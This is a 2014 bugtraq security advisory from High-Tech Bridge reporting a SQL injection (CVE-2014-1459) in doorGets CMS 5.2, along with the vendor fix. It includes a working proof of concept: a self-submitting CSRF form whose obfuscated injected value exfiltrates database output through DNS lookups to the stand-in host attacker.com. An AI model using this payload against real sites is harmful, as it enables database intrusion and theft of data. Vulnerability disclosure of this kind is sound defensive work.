bugtraq - SQL Injection in doorGets CMS

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Message-Id: <20140205121846.D82852C592DF@htbridge.ch>
Date: Wed,  5 Feb 2014 13:18:46 +0100 (CET)
From: High-Tech Bridge Security Research <advisory@...ridge.com>
To: bugtraq@...urityfocus.com
Subject: SQL Injection in doorGets CMS

Advisory ID: HTB23197
Product: doorGets CMS
Vendor: doorGets
Vulnerable Version(s): 5.2 and probably prior
Tested Version: 5.2
Advisory Publication:  January 15, 2014  [without technical details]
Vendor Notification: January 15, 2014 
Vendor Patch: January 15, 2014 
Public Disclosure: February 5, 2014 
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2014-1459
Risk Level: Medium 
CVSSv2 Base Score: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in doorGets CMS, which can be exploited to perform SQL Injection attacks.

1) SQL Injection in doorGets CMS: CVE-2014-1459

The vulnerability exists due to insufficient validation of "_position_down_id" HTTP POST parameter passed to "/dg-admin/index.php" script. A remote attacker with access to administrative interface can execute arbitrary SQL commands in application's database. This vulnerability however can be exploited by a remote unauthenticated user via CSRF vector.

The following exploitation example is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The PoC will use a CSRF vector to send a DNS request demanding IP addess for `version()` (or any other sensetive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker):

<form action="http://[host]/dg-admin/?controller=rubriques" method="post" name="main">
<input type="hidden" name="_position_down_id" value="1 AND 1=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) -- ">
<input type="hidden" name="_position_down_position" value="1">
<input type="hidden" name="_position_down_submit" value="1">
<input type="hidden" name="_position_down_type" value="down">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>

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Solution:

Fixed by vendor on January 15, 2014 directly in the source code without version modification/new release. Update to the version 5.2 released after January 15, 2014.

More Information:
https://github.com/doorgets/doorGets/commit/6b81541fc1e5dd1c70614585c1a04d04ccdb3b19

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References:

[1] High-Tech Bridge Advisory HTB23197 - https://www.htbridge.com/advisory/HTB23197 - SQL Injection in doorGets CMS.
[2] doorGets CMS - http://www.doorgets.com - doorGets CMS is a free content management system (CMS), that allows you to create easily your corporate or personal website.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.